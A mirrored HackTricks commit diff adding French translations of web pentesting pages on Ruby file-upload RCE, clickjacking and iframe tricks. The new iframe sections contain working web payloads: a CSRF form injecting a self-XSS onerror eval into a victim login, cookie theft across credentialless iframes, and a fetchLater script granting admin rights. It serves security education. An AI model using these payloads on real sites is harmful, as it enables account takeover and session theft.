mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/ruby-tricks.
This commit is contained in:
Translator
parent
9a30631d02
commit
05d85596b7
@ -435,6 +435,7 @@
|
||||
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
|
||||
- [Python](network-services-pentesting/pentesting-web/python.md)
|
||||
- [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
|
||||
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
|
||||
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
|
||||
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
||||
|
||||
@ -0,0 +1,9 @@
|
||||
# Ruby Tricks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Téléchargement de fichiers vers RCE
|
||||
|
||||
Comme expliqué dans [cet article](https://www.offsec.com/blog/cve-2024-46986/), le téléchargement d'un fichier `.rb` dans des répertoires sensibles tels que `config/initializers/` peut conduire à une exécution de code à distance (RCE) dans les applications Ruby on Rails.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -4,17 +4,17 @@
|
||||
|
||||
## Qu'est-ce que le Clickjacking
|
||||
|
||||
Dans une attaque de clickjacking, un **utilisateur** est **trompé** en **cliquant** sur un **élément** d'une page web qui est soit **invisible**, soit déguisé en un autre élément. Cette manipulation peut entraîner des conséquences non désirées pour l'utilisateur, telles que le téléchargement de logiciels malveillants, la redirection vers des pages web malveillantes, la fourniture de données d'identification ou d'informations sensibles, des transferts d'argent, ou l'achat en ligne de produits.
|
||||
Dans une attaque de clickjacking, un **utilisateur** est **trompé** en **cliquant** sur un **élément** d'une page web qui est soit **invisible**, soit déguisé en un autre élément. Cette manipulation peut entraîner des conséquences inattendues pour l'utilisateur, telles que le téléchargement de logiciels malveillants, la redirection vers des pages web malveillantes, la fourniture de données d'identification ou d'informations sensibles, des transferts d'argent, ou l'achat en ligne de produits.
|
||||
|
||||
### Astuce de préremplissage de formulaires
|
||||
|
||||
Il est parfois possible de **remplir la valeur des champs d'un formulaire en utilisant des paramètres GET lors du chargement d'une page**. Un attaquant peut abuser de ce comportement pour remplir un formulaire avec des données arbitraires et envoyer le payload de clickjacking afin que l'utilisateur appuie sur le bouton Soumettre.
|
||||
Il est parfois possible de **remplir la valeur des champs d'un formulaire en utilisant des paramètres GET lors du chargement d'une page**. Un attaquant peut abuser de ce comportement pour remplir un formulaire avec des données arbitraires et envoyer la charge utile de clickjacking afin que l'utilisateur appuie sur le bouton Soumettre.
|
||||
|
||||
### Remplir le formulaire avec Drag\&Drop
|
||||
### Remplir un formulaire avec Drag\&Drop
|
||||
|
||||
Si vous avez besoin que l'utilisateur **remplisse un formulaire** mais que vous ne voulez pas lui demander directement d'écrire des informations spécifiques (comme l'email ou un mot de passe spécifique que vous connaissez), vous pouvez simplement lui demander de **Drag\&Drop** quelque chose qui écrira vos données contrôlées comme dans [**cet exemple**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||
|
||||
### Payload de base
|
||||
### Charge utile de base
|
||||
```css
|
||||
<style>
|
||||
iframe {
|
||||
@ -96,14 +96,14 @@ Un attaquant pourrait préparer une attaque de **Clickjacking** sur cette page e
|
||||
|
||||
### DoubleClickjacking
|
||||
|
||||
D'abord [expliqué dans ce post](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), cette technique demanderait à la victime de double cliquer sur un bouton d'une page personnalisée placée à un endroit spécifique, et d'utiliser les différences de timing entre les événements mousedown et onclick pour charger la page de la victime pendant le double clic afin que la **victime clique réellement sur un bouton légitime dans la page de la victime**.
|
||||
D'abord [expliqué dans ce post](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), cette technique demanderait à la victime de double cliquer sur un bouton d'une page personnalisée placée à un endroit spécifique, et d'utiliser les différences de timing entre les événements mousedown et onclick pour charger la page de la victime pendant le double clic afin que la **victime clique réellement sur un bouton légitime de la page de la victime**.
|
||||
|
||||
Un exemple peut être vu dans cette vidéo : [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
|
||||
|
||||
Un exemple de code peut être trouvé [sur cette page](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html).
|
||||
|
||||
> [!WARNING]
|
||||
> Cette technique permet de tromper l'utilisateur pour qu'il clique sur 1 endroit dans la page de la victime en contournant toutes les protections contre le clickjacking. Ainsi, l'attaquant doit trouver **des actions sensibles qui peuvent être effectuées avec juste 1 clic, comme les invites OAuth acceptant des permissions**.
|
||||
> Cette technique permet de tromper l'utilisateur pour qu'il clique sur 1 endroit de la page de la victime en contournant toutes les protections contre le clickjacking. Ainsi, l'attaquant doit trouver **des actions sensibles qui peuvent être effectuées avec juste 1 clic, comme les invites OAuth acceptant des permissions**.
|
||||
|
||||
## Stratégies pour atténuer le Clickjacking
|
||||
|
||||
@ -113,7 +113,7 @@ Les scripts exécutés côté client peuvent effectuer des actions pour préveni
|
||||
|
||||
- S'assurer que la fenêtre de l'application est la fenêtre principale ou supérieure.
|
||||
- Rendre tous les cadres visibles.
|
||||
- Empêcher les clics sur des cadres invisibles.
|
||||
- Empêcher les clics sur les cadres invisibles.
|
||||
- Détecter et alerter les utilisateurs sur les tentatives potentielles de Clickjacking.
|
||||
|
||||
Cependant, ces scripts de contournement de cadre peuvent être contournés :
|
||||
@ -166,9 +166,9 @@ Content-Security-Policy: frame-src 'self' https://trusted-website.com;
|
||||
```
|
||||
Cette politique permet des cadres de la même origine (soi) et https://trusted-website.com.
|
||||
|
||||
#### Directive `child-src`
|
||||
#### `child-src` Directive
|
||||
|
||||
- Introduite dans le niveau 2 de CSP pour définir des sources valides pour les travailleurs web et les cadres.
|
||||
- Introduit dans CSP niveau 2 pour définir des sources valides pour les travailleurs web et les cadres.
|
||||
- Agit comme une solution de secours pour frame-src et worker-src.
|
||||
```
|
||||
Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Il existe 3 façons d'indiquer le contenu d'une page intégrée dans un iframe :
|
||||
|
||||
- Via `src` indiquant une URL (l'URL peut être cross origin ou same origin)
|
||||
- Via `src` indiquant une URL (l'URL peut être d'origine croisée ou de la même origine)
|
||||
- Via `src` indiquant le contenu en utilisant le protocole `data:`
|
||||
- Via `srcdoc` indiquant le contenu
|
||||
|
||||
@ -45,17 +45,17 @@ var secret = "child secret"
|
||||
alert(parent.secret)
|
||||
</script>
|
||||
```
|
||||
Si vous accédez au html précédent via un serveur http (comme `python3 -m http.server`), vous remarquerez que tous les scripts seront exécutés (car il n'y a pas de CSP pour l'en empêcher). **le parent ne pourra pas accéder à la variable `secret` à l'intérieur de n'importe quel iframe** et **seules les iframes if2 et if3 (qui sont considérées comme étant du même site) peuvent accéder au secret** dans la fenêtre d'origine.\
|
||||
Si vous accédez au HTML précédent via un serveur http (comme `python3 -m http.server`), vous remarquerez que tous les scripts seront exécutés (car il n'y a pas de CSP pour l'en empêcher). **le parent ne pourra pas accéder à la variable `secret` à l'intérieur de n'importe quel iframe** et **seuls les iframes if2 et if3 (qui sont considérés comme étant du même site) peuvent accéder au secret** dans la fenêtre d'origine.\
|
||||
Notez comment if4 est considéré comme ayant une origine `null`.
|
||||
|
||||
### Iframes avec CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Veuillez noter comment dans les contournements suivants, la réponse à la page intégrée ne contient aucun en-tête CSP qui empêche l'exécution de JS.
|
||||
|
||||
La valeur `self` de `script-src` n'autorisera pas l'exécution du code JS utilisant le protocole `data:` ou l'attribut `srcdoc`.\
|
||||
Cependant, même la valeur `none` du CSP permettra l'exécution des iframes qui mettent une URL (complète ou juste le chemin) dans l'attribut `src`.\
|
||||
Par conséquent, il est possible de contourner le CSP d'une page avec :
|
||||
Cependant, même la valeur `none` de la CSP permettra l'exécution des iframes qui mettent une URL (complète ou juste le chemin) dans l'attribut `src`.\
|
||||
Par conséquent, il est possible de contourner la CSP d'une page avec :
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
@ -76,7 +76,7 @@ id="if4"
|
||||
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
||||
</html>
|
||||
```
|
||||
Notez que le **CSP précédent ne permet que l'exécution du script en ligne**.\
|
||||
Notez que le **CSP précédent ne permet que l'exécution du script inline**.\
|
||||
Cependant, **seuls les scripts `if1` et `if2` vont être exécutés, mais seul `if1` pourra accéder au secret parent**.
|
||||
|
||||
.png>)
|
||||
@ -134,6 +134,53 @@ La valeur de l'attribut peut être laissée vide (`sandbox=""`) pour appliquer t
|
||||
```html
|
||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||
```
|
||||
### Iframes sans identifiants
|
||||
|
||||
Comme expliqué dans [cet article](https://blog.slonser.info/posts/make-self-xss-great-again/), le drapeau `credentialless` dans un iframe est utilisé pour charger une page à l'intérieur d'un iframe sans envoyer d'identifiants dans la requête tout en maintenant la même politique d'origine (SOP) de la page chargée dans l'iframe.
|
||||
|
||||
Cela permet à l'iframe d'accéder à des informations sensibles d'un autre iframe dans la même SOP chargée dans la page parente :
|
||||
```javascript
|
||||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
- Exemple d'exploitation : Self-XSS + CSRF
|
||||
|
||||
Dans cette attaque, l'attaquant prépare une page web malveillante avec 2 iframes :
|
||||
|
||||
- Une iframe qui charge la page de la victime avec le drapeau `credentialless` avec un CSRF qui déclenche un XSS (Imaginez un Self-XSS dans le nom d'utilisateur de l'utilisateur) :
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<form action="http://victim.domain/login" method="POST">
|
||||
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
|
||||
<input type="hidden" name="password" value="Super_s@fe_password" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<script>
|
||||
document.forms[0].submit();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
- Une autre iframe qui a en fait l'utilisateur connecté (sans le drapeau `credentialless`).
|
||||
|
||||
Ensuite, depuis le XSS, il est possible d'accéder à l'autre iframe car elles ont la même SOP et de voler le cookie par exemple en exécutant :
|
||||
```javascript
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
### fetchLater Attack
|
||||
|
||||
Comme indiqué dans [cet article](https://blog.slonser.info/posts/make-self-xss-great-again/), l'API `fetchLater` permet de configurer une requête à exécuter plus tard (après un certain temps). Par conséquent, cela peut être abusé pour, par exemple, connecter une victime dans la session d'un attaquant (avec Self-XSS), définir une requête `fetchLater` (pour changer le mot de passe de l'utilisateur actuel par exemple) et se déconnecter de la session de l'attaquant. Ensuite, la victime se connecte dans sa propre session et la requête `fetchLater` sera exécutée, changeant le mot de passe de la victime pour celui défini par l'attaquant.
|
||||
|
||||
De cette manière, même si l'URL de la victime ne peut pas être chargée dans un iframe (en raison de CSP ou d'autres restrictions), l'attaquant peut toujours exécuter une requête dans la session de la victime.
|
||||
```javascript
|
||||
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
|
||||
const minute = 60000
|
||||
let arr = [minute, minute * 60, minute * 60 * 24, ...]
|
||||
for (let timeout of arr)
|
||||
fetchLater(req,{activateAfter: timeout})
|
||||
```
|
||||
## Iframes dans SOP
|
||||
|
||||
Vérifiez les pages suivantes :
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user